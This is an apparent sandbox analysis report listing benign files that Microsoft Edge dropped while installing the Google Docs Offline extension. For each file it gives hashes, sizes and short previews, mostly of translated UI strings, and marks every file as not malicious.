SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break 